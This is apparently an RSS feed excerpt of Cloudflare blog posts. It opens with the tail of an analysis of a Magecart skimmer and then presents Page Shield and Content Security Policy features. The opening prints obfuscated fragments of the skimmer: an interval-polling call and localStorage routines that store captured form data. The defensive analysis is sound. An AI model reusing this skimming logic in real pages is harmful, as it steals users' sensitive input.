            <p>Persistent Monitoring: The script keeps a constant watch on user input. This means that any data entered into the targeted fields is captured, not just when the page first loads, but continuously as long as the user is on the page.</p><p>Execution Interval: The script is set to activate its data-collecting actions at regular intervals, as shown by the <code>window.setInterval(wvnso.bumdr, 0x1f4)</code> function call. This ensures that it constantly checks for new user input on the site.</p>
            <pre><code>window.setInterval(wvnso.bumdr, 0x1f4);</code></pre>
            <p>Local Data Storage: Interestingly, the script uses local storage methods (wvnso.hajfd, wvnso.ijltb) to keep the collected data on the user's device. This could be a way to prevent data loss in case there are issues with the Internet connection or to gather more data before sending it to the server.</p>
            <pre><code>"ijltb": function () {
    var _0x19c563 = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    window.localStorage.setItem("oybwd", _0x19c563);
  },
  "hajfd": function () {
    var _0x1318e0 = window.localStorage.getItem("oybwd");
    if (_0x1318e0 !== null) {
      wvnso.krwon = window.JSON.parse(wvnso.cvdqe(_0x1318e0));
    }
  }</code></pre>
            <p>This JavaScript code is a sophisticated tool for stealing sensitive information from users. It's well-crafted to avoid detection, gather detailed information, and transmit it discreetly to a remote server controlled by the attackers.</p>
    <div>
      <h2>Proactive detection</h2>
      <a href="#proactive-detection">
        
      </a>
    </div>
    <p><a href="/detecting-magecart-style-attacks-for-pageshield">Page Shield's existing machine learning algorithm</a> is capable of automatically detecting malicious JavaScript code. As cybercriminals evolve their attack methods, we are constantly improving our detection and defense mechanisms. An upcoming version of our ML model, an artificial neural network, has been designed to maintain high recall (i.e., identifying the many different types of malicious scripts) while also providing a low false positive rate (i.e., reducing false alerts for benign code). The new version of Page Shield's ML automatically flagged the above script as a Magecart type attack with a very high probability. In other words, our ML correctly identified a novel attack script operating in the wild! Cloudflare <a href="https://developers.cloudflare.com/page-shield/get-started/">customers with Page Shield enabled</a> will soon be able to take further advantage of our latest ML's superior protection for client-side security. Stay tuned for more details.</p>
    <div>
      <h2>What you can do</h2>
      <a href="#what-you-can-do">
        
      </a>
    </div>
    <p>The attack on a Cloudflare customer is a sobering example of the Magecart threat. It underscores the need for constant vigilance and robust client-side security measures for websites, especially those handling sensitive user data. This incident is a reminder that cybersecurity is not just about protecting data but also about safeguarding the trust and well-being of users.</p><p>We recommend the following actions to <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">enhance security and protect against similar threats</a>. Our comprehensive security model includes several products specifically designed to safeguard web applications and sensitive data:</p><ol><li><p><a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/"><b>Implement WAF Managed Rule Product</b></a>: This solution offers robust protection against known attacks by monitoring and filtering HTTP traffic between a web application and the Internet. It effectively guards against common web exploits.</p></li><li><p><a href="/tag/waf-attack-score"><b>Deploy ML-Based WAF Attack Score</b></a>: Our ML-based WAF, known as <b>Attack Score</b>, is specifically engineered to defend against previously unknown attacks. It uses advanced machine learning algorithms to analyze web traffic patterns and identify potential threats, providing an additional layer of security against sophisticated and emerging threats.</p></li><li><p><b>Use</b> <a href="https://www.cloudflare.com/application-services/products/page-shield/"><b>Page Shield</b></a>: Page Shield is designed to protect against Magecart-style attacks and browser supply chain threats. It monitors and secures third-party scripts running on your website, helping you identify malicious activity and proactively prevent client-side attacks, such as theft of sensitive customer data. This tool is crucial for preventing data breaches originating from compromised third-party vendors or scripts running in the browser.</p></li><li><p><a href="https://developers.cloudflare.com/waf/managed-rules/"><b>Activate Sensitive Data Detection (SDD)</b></a>: <b>SDD</b> alerts you if certain sensitive data is being exfiltrated from your website, whether due to an attack or a configuration error. This feature is essential for maintaining compliance with data protection regulations and for promptly addressing any unauthorized data leakage.</p></li></ol><p>....</p><p><sup>1</sup></p><p>[1]: <a href="https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore">https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore</a></p><p>[2]: <a href="https://www.bizcommunity.com/Article/196/661/241908.html">https://www.bizcommunity.com/Article/196/661/241908.html</a></p><p>[3]: <a href="https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/">https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/</a></p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Magecart]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">4odIoq7Ft2hBT870pJ4OAf</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
        </item>
        <item>
            <title><![CDATA[Making Content Security Policies (CSPs) easy with Page Shield]]></title>
            <link>https://blog.cloudflare.com/making-content-security-policies-csps-easy-with-page-shield/</link>
            <pubDate>Fri, 15 Sep 2023 13:00:57 GMT</pubDate>
            <description><![CDATA[ We just deployed a number of updates to our Client-Side Security Product: Page Shield. As of today we support all major CSP directives, better suggestions, better violation reporting, Page Shield specific user role permissions, and domain insights ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Modern web applications are complex, often loading JavaScript libraries from tens of different sources and submitting data to just as many. This leads to a vast <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface area</a> and many attack types that hackers may leverage to target the user browser directly. <a href="https://en.wikipedia.org/wiki/Web_skimming">Magecart</a>, a category of <a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/">supply chain attack</a>, is a good example.</p><p>To combat this, browser vendors (Google, Microsoft, Mozilla, etc.) have agreed on a standard that allows application owners to control browser behavior from a security perspective. This standard is called <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policies</a> (CSPs). Content Security Policies are implemented by application owners as a specially formatted HTTP response header that the browser then parses and enforces. This header can be used, for example, to enforce loading of JavaScript libraries only from a specific set of URLs. CSPs are good as they reduce the attack surface, but are hard to implement and manage, especially in a fast-paced development environment.</p><p>Starting today, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, our client-side security product, supports all major CSP directives. We’ve also added better reporting, automated suggestions, and Page Shield specific user roles, making CSPs much easier to manage.</p><p>If you are a Page Shield enterprise customer, log in to your dashboard to make use of the new features immediately.</p>
    <div>
      <h3>Page Shield policies</h3>
      <a href="#page-shield-policies">
        
      </a>
    </div>
    <p>Let’s say you just built a web application. To keep it simple, you used a number of services to implement specific features: Stripe for your checkout and Zendesk for your chat system.</p><p>These two systems require you to “embed” JavaScript files in your application. Once done, these widgets will also submit data back to their respective endpoints — for example, the Zendesk servers if someone interacts with the Zendesk chat widget.</p><p>You also load a JavaScript file that you built for some simple interactions in your web application. This file is hosted directly on your server under your site’s own domain, let’s say <code>example.com</code>.</p><p>You know that no other files should be loaded, and with a security first mindset, you wish to enforce that only these files (and no other files!) can get executed by your users directly in the browser environment. This avoids a potential compromise to be effective as browsers will refuse to execute unwanted code.</p><p>You can achieve this by using <a href="https://developers.cloudflare.com/page-shield/policies/">Page Shield policies</a>, an abstraction on top of Content Security Policies (CSPs) with the goal of making CSPs easy. This system allows you to adopt a positive security model by letting you define what is <b>allowed</b>, and <b>block</b> everything else by default.</p><p>To do this we need to follow a few simple steps. First, log in to Cloudflare and head over to the relevant zone → Security → Page Shield → Policies → Create policy. We are presented with the following page:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2j5RnzcoTtQ1Ext6YT3GZh/5e2b35791d0c572211cc8a4c550007ee/image1-4.png" />
            
            </figure><p>Insert a policy name (e.g., <code>my website policy</code>) and select, if needed, using our standard <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>, where you want the policy to be applied. For example, if we only wanted the policy to be applied on our checkout pages, where there is a higher risk of data being leaked, we can select:</p><p><i>If incoming requests match… URI Path contains “checkout”</i></p><p>In the UI this would be represented like this:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5lv5fxZdIoLix1PGO9CBaY/0cd4857e8f712317e87a27dc2569caaf/Screenshot-2023-09-08-at-11.15.52.png" />
            
            </figure><p>This filtering allows you to focus on the portions of your site that matter most, or, at the same time, test your policies on specific subsets of your traffic.</p><p>Next, we need to define where scripts are allowed to be loaded from and where they are allowed to send data to. There are two directives we can use for this: the <code>script-src</code> (Scripts) directive and the <code>connect-src</code> (Connections) directive.</p><p>For Stripe, at time of writing, scripts will be loaded from the following URL:</p><p><code>https://checkout.stripe.com</code></p><p>This same URL is also used to submit data back to Stripes’ system. Zendesk is similar, but for simplicity we will focus on Stripe only in this example. You also load a JavaScript file from your own site, <code>example.com</code> mentioned earlier.</p><p>From the <i>Add a new directive</i> dropdown, select <i>Scripts:</i></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/x4iZvrqtiCAEqPv50tc6b/8a80f8595697a167fd1b077a87bb6683/Screenshot-2023-09-08-at-11.25.40.png" />
            
            </figure><p>Once added, the script directive will show:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/45wtQ1bSJ9bZ10g0crxcTC/035c506f8a724a4771ee92ab98d43b83/Screenshot-2023-09-08-at-11.30.16.png" />
            
            </figure><p>This is where the magic begins. If Page Shield has been enabled on your site, you may notice it may have already detected the JavaScript files your site is loading, and will suggest them to you as a simple list of checkboxes. No more chasing developer team members to understand what is being loaded by your site.</p><p>Building the directive becomes a simple checklist exercise. The builder does allow you to decide if you wish to allow scripts from entire domains, or drill down to specific URLs only. In a normal circumstance, you should expect to allow all detected scripts. For Stripe, the directive configuration would look like the following:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6dJZmS24JkI0WL1r67cnFV/4faba1fa8c05b68d1658d99067c02843/Screenshot-2023-09-08-at-11.36.50.png" />
            
            </figure><p>A preview of the directive is shown below the builder.</p><p>One more example: remember that you also load a script from your own site? That is being identified under the <code>example.com</code> entry in the list. However, loading scripts from the same source is very common and to strike a good balance between simplicity and security, CSPs allow a shortcut keyword: <code>self</code>, available at the top of the builder. Our final policy will look like this:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/PoCBtGKkA0qyEIgqfnE8Z/c1e0b80a02e44150bb13933971bdc84a/Screenshot-2023-09-08-at-11.40.52.png" />
            
            </figure><p>And those are the basics. Simply repeat the steps for the <code>connect-src</code> (Connections) directive (where data should be sent to) and deploy the policy either in <code>LOG</code> (for testing) or <code>ALLOW</code> (enforcing). Your users will be a lot safer as a result.</p>
    <div>
      <h3>Better policy suggestions</h3>
      <a href="#better-policy-suggestions">
        
      </a>
    </div>
    <p>The suggestions engine shown above is now a lot better, making it easier to build Page Shield policies. We’ve added full support for the <code>connect-src</code> (Connections) directive in addition to <code>script-src</code> (Scripts) directive, and we now customize the suggestions based on where you wish to deploy the policy.</p><p>So for example, if you select to deploy the policy on your checkout pages only, shown as:</p><p><i>If incoming requests match… URI Path contains “checkout”</i></p><p>In the example above, the list of suggestions will automatically update to show you suggestions for scripts or connections seen on those pages, only allowing you to minimize the size of the policy. This is important as CSPs often tend to grow very large, causing performance implications.</p><p>Additionally, the builder will try to optimize the policy further for you by allowing you to easily select the correct level of precision in your <code>ALLOW</code> list. For example, if you are loading hundreds of scripts from a specific destination, it will propose you to allow the hostname rather than all script URLs.</p>
    <div>
      <h3>All major CSP directives are now supported</h3>
      <a href="#all-major-csp-directives-are-now-supported">
        
      </a>
    </div>
    <p>Before today, we only supported the <code>script-src</code> (Scripts) directive, allowing you to define where scripts are allowed to be loaded from. Starting today, we support all major directives. Note however, that we only support suggestions for <code>script-src</code> and <code>connect-src</code>. Suggestions for the other directives are on the roadmap.</p><p>The full list of supported directives with relevant keywords is shown in the table below:</p>
<table>
<thead>
  <tr>
    <th><span>Directive</span></th>
    <th><span>Smart suggestions</span></th>
    <th><span>Description</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>script-src</span></td>
    <td><span>✅</span></td>
    <td><span>Define where JavaScript files are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>connect-src</span></td>
    <td><span>✅</span></td>
    <td><span>Define where data can be sent to.</span></td>
  </tr>
  <tr>
    <td><span>default-src</span></td>
    <td></td>
    <td><span>Default behavior to apply.</span></td>
  </tr>
  <tr>
    <td><span>img-src</span></td>
    <td></td>
    <td><span>Define where images are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>style-src</span></td>
    <td></td>
    <td><span>Define where style sheets (CSS) are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>font-src</span></td>
    <td></td>
    <td><span>Define where font files are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>object-src</span></td>
    <td></td>
    <td><span>Define where objects (HTML) are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>media-src</span></td>
    <td></td>
    <td><span>Define where media files are allowed to be loaded from (e.g. mp4)</span></td>
  </tr>
  <tr>
    <td><span>child-src</span></td>
    <td></td>
    <td><span>Define where web workers and nested browser contexts are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>form-action</span></td>
    <td></td>
    <td><span>Define where forms should be allowed to post data to.</span></td>
  </tr>
  <tr>
    <td><span>worker-src</span></td>
    <td></td>
    <td><span>Define where workers are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>base-uri</span></td>
    <td></td>
    <td><span>Define what URLs can be used in a document base element.</span></td>
  </tr>
  <tr>
    <td><span>manifest-src</span></td>
    <td></td>
    <td><span>Define which manifests can be applied.</span></td>
  </tr>
  <tr>
    <td><span>frame-src</span></td>
    <td></td>
    <td><span>Define what URLs can be embedded in HTML iframes.</span></td>
  </tr>
  <tr>
    <td><span>frame-ancestors</span></td>
    <td></td>
    <td><span>Define which parent sources can embed the given page in an HTML iframe (opposite of frame-src).</span></td>
  </tr>
</tbody>
</table><p>Additionally, we also support the <code>upgrade-insecure-requests</code> directive. This is a special keyword that will force the browser to automatically convert all HTTP URLs to HTTPs. This feature is similar to our “<a href="https://developers.cloudflare.com/ssl/edge-certificates/additional-options/always-use-https/">Always Use HTTPS</a>”, but forces the browser to upgrade the requests rather than using our proxy to perform the similar behavior. Both features can work in conjunction.</p><p>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">official Mozilla CSP documentation</a> is a great resource for additional details on each CSP directive.</p>
    <div>
      <h3>Import your existing CSP policies today</h3>
      <a href="#import-your-existing-csp-policies-today">
        
      </a>
    </div>
    <p>A lot of customers adopting Page Shield have asked if they could import their existing CSP policies into the product. We’ve now taken a first step to make this experience possible by allowing you to paste an existing CSP directly in the policy interface:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2uEfkdcIgnYaO8mbGS7jgk/1bfe34b368e25229ba11b0d2d50ec614/Screenshot-2023-09-11-at-14.44.15.png" />
            
            </figure><p>Once pasted and imported, the system will automatically parse all found directives into the builder allowing you to subsequently edit them as required. If your policy contains deprecated directives, or directives not currently supported, an appropriate error message will be displayed allowing you to edit before trying again.</p>
    <div>
      <h3>Improved violation reporting</h3>
      <a href="#improved-violation-reporting">
        
      </a>
    </div>
    <p>Once you have deployed a Page Shield policy, it is important to identify its behavior: is it implemented correctly? Did you miss something?</p><p>Coincidentally, this is another aspect that is hard to manage. CSPs allows you to define an endpoint where browsers will submit violation reports (errors). However, the volume of errors can be substantial especially for large applications, requiring a whole new set of logging pipelines and infrastructure to be implemented.</p><p>Page Shield does all this for you out of the box.</p><p>With the new support for all major directives, we now also improved violation reporting to show you which directive is causing any potential issues (the first column in the screenshot below). This is provided in the policy overview screen:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5vFFJJ4niOIPyaUrxViTPF/3b285c3aa245c21d2179795c2edd69ff/Screenshot-2023-09-08-at-12.37.49.png" />
            
            </figure>
    <div>
      <h3>Domain insights</h3>
      <a href="#domain-insights">
        
      </a>
    </div>
    <p>In this release, we also took the opportunity to improve our resource details page by adding domain insights. Domain name WHOIS info is often a very good indicator of the potential maliciousness of a JavaScript resource or connection endpoint. For example, data being sent to a newly registered domain should cause some concern. We’ve also exposed any categorisations we have available for any given domain, allowing you to more quickly review the data without having to navigate to our <a href="https://developers.cloudflare.com/security-center/">Security Center</a> or <a href="https://radar.cloudflare.com/">Cloudflare Radar</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2FoxIbRdwEy9LcVEMdAYxz/c80ec3de20b4ad8d2836692c1d2df1b0/Screenshot-2023-09-11-at-14.40.23.png" />
            
            </figure>
    <div>
      <h3>Page Shield user permissions</h3>
      <a href="#page-shield-user-permissions">
        
      </a>
    </div>
    <p>One final thing. If you only need specific team members to look at or deploy policies with Cloudflare Page Shield, this is now possible. Two new user roles have been implemented in the dashboard: Page Shield (write/read) and Page Shield (read). You can find these roles available when <a href="https://developers.cloudflare.com/fundamentals/setup/manage-members/manage/">inviting new users</a> (or editing existing users) to the Cloudflare dashboard.</p>
    <div>
      <h3>Start using Page Shield today</h3>
      <a href="#start-using-page-shield-today">
        
      </a>
    </div>
    <p>Most of the features discussed in this post are only available to Page Shield enterprise add-on customers, and you can find additional details in our <a href="https://developers.cloudflare.com/page-shield/">developer documentation</a>. However, Page Shield is available to all users on the <a href="https://www.cloudflare.com/plans/pro/">Pro plan</a> and above with a limited set of functionality. Turning on Page Shield is as simple as a single click.</p><p>Head over now to the dashboard and turn it on, and let us know what you think.</p><p>Stay tuned for our next Page Shield post where we will discuss how <a href="https://www.cloudflare.com/learning/privacy/what-is-pci-dss-compliance/">PCI DSS 4.0</a> client side requirements are easy to satisfy with Page Shield.</p> ]]></content:encoded>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">77wsXUPfXPaG0bm4Wz1qiK</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Locking down your JavaScript: positive blocking with Page Shield policies]]></title>
            <link>https://blog.cloudflare.com/page-shield-positive-blocking-policies/</link>
            <pubDate>Mon, 13 Mar 2023 13:00:00 GMT</pubDate>
            <description><![CDATA[ Starting today, using Page Shield, Cloudflare’s client side security solution, you can ensure only vetted and secure JavaScript is being executed by your user’s browsers. Stop unwanted JavaScript and keep your end user data safe with Page Shield policies. ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/72U4mGkIMlR2xtRGMJpNhN/ed196886c95d2b2f27e63c5141df7f22/image3-10.png" />
            
            </figure><p>Web development teams are tasked with delivering feature-rich applications at lightning speeds. To help them, there are thousands of pre-built JavaScript libraries that they can integrate with little effort.</p><p>Not always, however, are these libraries backed with hardened security measures to ensure the code they provide is not tampered with by malicious actors. This ultimately leads to an increased risk of an application being compromised.</p><p>Starting today, tackling the risk of external JavaScript libraries just got easier. We are adding a new feature to our client side security solution: <a href="https://www.cloudflare.com/page-shield/">Page Shield</a> policies. Using policies you can now ensure only allowed and vetted libraries are executed by your application by simply reviewing a checklist.</p>
    <div>
      <h2>Client side libraries</h2>
      <a href="#client-side-libraries">
        
      </a>
    </div>
    <p>There are more than 4,373 libraries available on <a href="https://cdnjs.com/">cdnjs</a>, a popular JavaScript repository, at the time of writing. These libraries provide access to pre-built functionality to build web applications. The screenshot below shows the most popular on the platform such as <a href="https://reactjs.org/">React</a>, <a href="https://vuejs.org/">Vue.js</a> and <a href="https://getbootstrap.com/">Bootstrap</a>. Bootstrap alone, according to W3Techs, is used <a href="https://w3techs.com/technologies/overview/javascript_library">on more than 20% of all websites</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5czifSwe8ugZHJ9pjNlLTw/3b121f648aa38c9c141e3979d8b5b17f/image1-14.png" />
            
            </figure><p>In addition to library repositories like cdnjs, there are thousands of plugins provided directly by SaaS platforms including from names such as Google, Meta, Microsoft, and more.</p><p>According to our Page Shield data, any large enterprise application is loading <b>AND</b> connecting to tens if not hundreds of different destinations for analytics, payments, real user monitoring, conversion tracking, customer relationship management, and many other features that internal teams “must have”.</p>
<table>
<thead>
  <tr>
    <th><span>Script hosts</span><br /><span>(JavaScript loaded from...)</span></th>
    <th><span>Connection hosts </span><br /><span>(Data sent to...)</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>Google</span></td>
    <td><span>Google</span></td>
  </tr>
  <tr>
    <td><span>Facebook</span></td>
    <td><span>Facebook</span></td>
  </tr>
  <tr>
    <td><span>Cloudflare</span></td>
    <td><span>Microsoft</span></td>
  </tr>
  <tr>
    <td><span>Salesforce</span></td>
    <td><span>Hotjar</span></td>
  </tr>
  <tr>
    <td><span>Prospect One</span></td>
    <td><span>OneTrust</span></td>
  </tr>
  <tr>
    <td><span>Open JS Foundation</span></td>
    <td><span>Pinterest</span></td>
  </tr>
  <tr>
    <td><span>Microsoft</span></td>
    <td><span>TikTok</span></td>
  </tr>
  <tr>
    <td><span>Hotjar</span></td>
    <td><span>PayPal</span></td>
  </tr>
  <tr>
    <td><span>hCaptcha</span></td>
    <td><span>Snapchat</span></td>
  </tr>
  <tr>
    <td><span>Fly.io</span></td>
    <td><span>NewRelic</span></td>
  </tr>
</tbody>
</table><p>Ultimately, it is hard for most organizations to not rely on external JavaScript libraries.</p>
    <div>
      <h2>Yet another vector for attackers</h2>
      <a href="#yet-another-vector-for-attackers">
        
      </a>
    </div>
    <p>Although there are good reasons to embed external JavaScript in an application, the proliferation of client side libraries, especially from SaaS providers, has increased scrutiny from malicious actors seeking new ways to exploit web applications. A single compromised SaaS provider that offers a client side library can provide direct access to thousands of applications drastically increasing return on “hacker” investment.</p><p>Client side security issues are not new. Attacks such as “<a href="https://en.wikipedia.org/wiki/Web_skimming">web skimming</a>”, also referred to as “Magecart-style” when in the context of payment pages, have been around for a long time. Yet, core <a href="https://www.cloudflare.com/application-services/solutions/">application security products</a> often focus on protecting the underlying web application rather than the end user data resulting in a <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">large attack surface</a> that most security teams simply have no visibility on. This gap in visibility, caused by “<a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/">supply chains</a>”, led us to build <a href="/introducing-page-shield/">Page Shield</a>, Cloudflare’s native client-side security solution.</p><p>Although the risk of supply chain attacks is becoming widely known, they are still very much an active threat. New research is being published monthly from vendors in this space highlighting ongoing attack campaigns. The Payment Card Industry Security Standards Council has also introduced new requirements in <a href="https://blog.pcisecuritystandards.org/pci-dss-v4-0-resource-hub">PCI DSS 4.0</a>* that enforce companies to have <a href="https://www.cloudflare.com/learning/privacy/what-is-pci-dss-compliance/">systems and processes</a> in place to tackle client side security threats.</p><p>Page Shield itself has already been effective at warning customers of ongoing attacks on their applications, such as the screenshot below highlighting an active malicious outbound connection from a Magecart-style attack on a customer e-commerce application.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6SG4JmBvsppxxCQv3O67L2/f381b9e23b62496555cca45e72dabba0/image5-2.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7xgWKk4Vh8USmts82AWUCH/0d8d436e8418ab236fa39886e3506258/image6-4.png" />
            
            </figure><p>* PCI DSS 4.0 requirements 6.4.3 and 11.6.1 are just two examples focusing on client side security.</p>
    <div>
      <h2>Reducing the attack surface</h2>
      <a href="#reducing-the-attack-surface">
        
      </a>
    </div>
    <p>Page Shield aims to detect and alert whenever malicious activity is found within the client environment. That’s still a core focus as we improve detection capabilities further.</p><p>We are now also looking at expanding capabilities to also reduce the opportunity for an attacker to compromise an application in the first place. In other words, prevent attacks happening by reducing the attack surface available.</p><p>Today we are announcing our first major feature in this space: Page Shield policies. Here’s what it looks like:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1tfGiisqgDNNi4fMVnMezY/82e81839fd18fda628bc1047223790ea/image7-1.png" />
            
            </figure>
    <div>
      <h3>Positive blocking policies</h3>
      <a href="#positive-blocking-policies">
        
      </a>
    </div>
    <p>By leveraging our position in the network stack as a reverse proxy, and by using Page Shield policies, you can now enforce client browsers to load and execute JavaScript libraries only from your pre-approved list of allowed sources implementing a positive security model.</p><p>This ensures that an attacker that is able to inject a script in a page, won’t be successful in compromising users, as browsers will refuse to load it. At the same time, vetted tools will run without issues.</p><p>Policies will also soon allow you to specify data destinations (connection endpoints) also enforcing not only where JavaScript files are being loaded from, but also where the browser can send data to drastically reduce the risk of “Magecart-style” attacks.</p>
    <div>
      <h3>CSPs as the core mechanism</h3>
      <a href="#csps-as-the-core-mechanism">
        
      </a>
    </div>
    <p>Page Shield policies are currently implemented with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policies</a> (CSPs), a feature natively supported by all major browsers.</p><p>CSPs are specially formatted HTTP response headers that are added to HTML page loads. These headers may contain one or more directives that instruct the browser how to and what to execute in the context of the given page.</p><p>From today Page Shield policies support the <code>script-src</code> directive. This directive lets application owners specify “where” JavaScript files are allowed to be loaded from. Support for the <code>connect-src</code> directive is also being finalized which behaves similarly to <code>script-src</code>, but specifies where the browser is allowed to send data “to”.</p><p>Let’s take a look at a one example and assume we were opening the following web page <code>www.example.com/index.html</code> and the browser received a CSP header as below:</p><p><code>Content-Security-Policy: script-src 'self' *.example.com cdnjs.cloudflare.com https://www.google-analytics.com/analytics.js</code></p><p>The header instructs the browser to allow scripts (defined by the use of the <code>script-src</code> directive) to be loaded from the same hostname as the page itself (defined by <code>self</code>) as well as from any subdomain (<code>*.example.com</code>). It is additionally allowing any script under cdnjs and only a specific script for Google Analytics and no other scripts under the Google owned domain.</p><p>This ensures that any attacker injected script from different hosts would not be executed, drastically reducing the attack surface available.</p><p>If rather than <code>Content-Security-Policy</code> we had received a <code>Content-Security-Policy-Report-Only</code> header, the policy would not be enforced, but browsers would only send violation reports letting you know what is outside of policy.</p><p>This is useful when testing and when investigating new scripts that have been added to your application.</p><p>Additional statements are also available and supported by Page Shield within the <code>script-src</code> directive to block inline JavaScript (<code>unsafe-inline</code>) or normally unsafe function calls (<code>unsafe-eval</code>). These directives help prevent other attack types such as <a href="https://www.cloudflare.com/learning/security/how-to-prevent-xss-attacks/">cross site scripting attacks (XSS)</a>.</p>
    <div>
      <h3>Making policy management easy</h3>
      <a href="#making-policy-management-easy">
        
      </a>
    </div>
    <p>CSPs, the underlying system used by Page Shield policies, are great but hard to manage. The larger the application, the more complex CSPs become while also causing a bottleneck for application development teams. This leads to CSPs becoming ineffective as security teams broaden the list of allowed hosts to the point that their purpose becomes debatable.</p><p>Making policy management easy, and ensuring they are effective, was a core goal of our design process. This led us to build a suggestions feature.</p><p>When deploying a policy, the first step is deciding “where” will the policy be applied to. Typical examples may include only your checkout flow or admin pages. This is done using <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>, the same syntax that powers <a href="https://www.cloudflare.com/waf/">Cloudflare’s WAF</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5grJjTZkxtafDfDnKd1t8R/d0735f9410c8b1946663ba1f3d98af93/image4-9.png" />
            
            </figure><p>Once the filter is specified, using the data already collected by Page Shield, the interface will provide a list of suggested directive values, making it very easy to build the simplest and most effective policy for your application. No need to worry about syntax, the policy preview will be shown before committing.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Hc6rVyXxcDfEtIIayEHTF/e6e7fb1108aabbb7db561804f672e486/image2-8.png" />
            
            </figure><p>Finally, policies can be deployed both in “report only/log” and “enforce/allow”, letting you control and test as required.</p><p>We are currently finishing work on our alerting backend to warn you whenever we notice a spike in violation reports. This lets you easily return to the policy builder and update it with any newly seen script that may have been added by your development team.</p>
    <div>
      <h3>Positive blocking policies are not enough</h3>
      <a href="#positive-blocking-policies-are-not-enough">
        
      </a>
    </div>
    <p>It is important not to forget that CSPs provide no security or malicious activity detection within the list of allowed endpoints. They are meant to reduce the likelihood of an attack happening by reducing the attack surface available. For this reason, Page Shield’s automated malicious activity detection will continue to function in the background regardless of any policy being deployed.</p>
    <div>
      <h2>Secure your end user data today</h2>
      <a href="#secure-your-end-user-data-today">
        
      </a>
    </div>
    <p>All Cloudflare paid customers have access to a subset of <a href="https://www.cloudflare.com/page-shield/">Page Shield</a> features today. Turning on Page Shield is as simple as clicking a button. Head over to <b>Security</b> &gt; <b>Page Shield</b> and give it a go!</p><p>If you are an enterprise customer and are interested in Page Shield policies, reach out to your account team to get access to the full feature set.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Page Shield]]></category>
            <guid isPermaLink="false">28F5CUkoJfMahoWir47MND</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Page Shield can now watch for malicious outbound connections made by third-party JavaScript code]]></title>
            <link>https://blog.cloudflare.com/page-shield-connection-monitor/</link>
            <pubDate>Fri, 21 Oct 2022 13:53:49 GMT</pubDate>
            <description><![CDATA[ Starting today, Page Shield can now watch for malicious outbound connections made by third-party JavaScript code ]]></description>
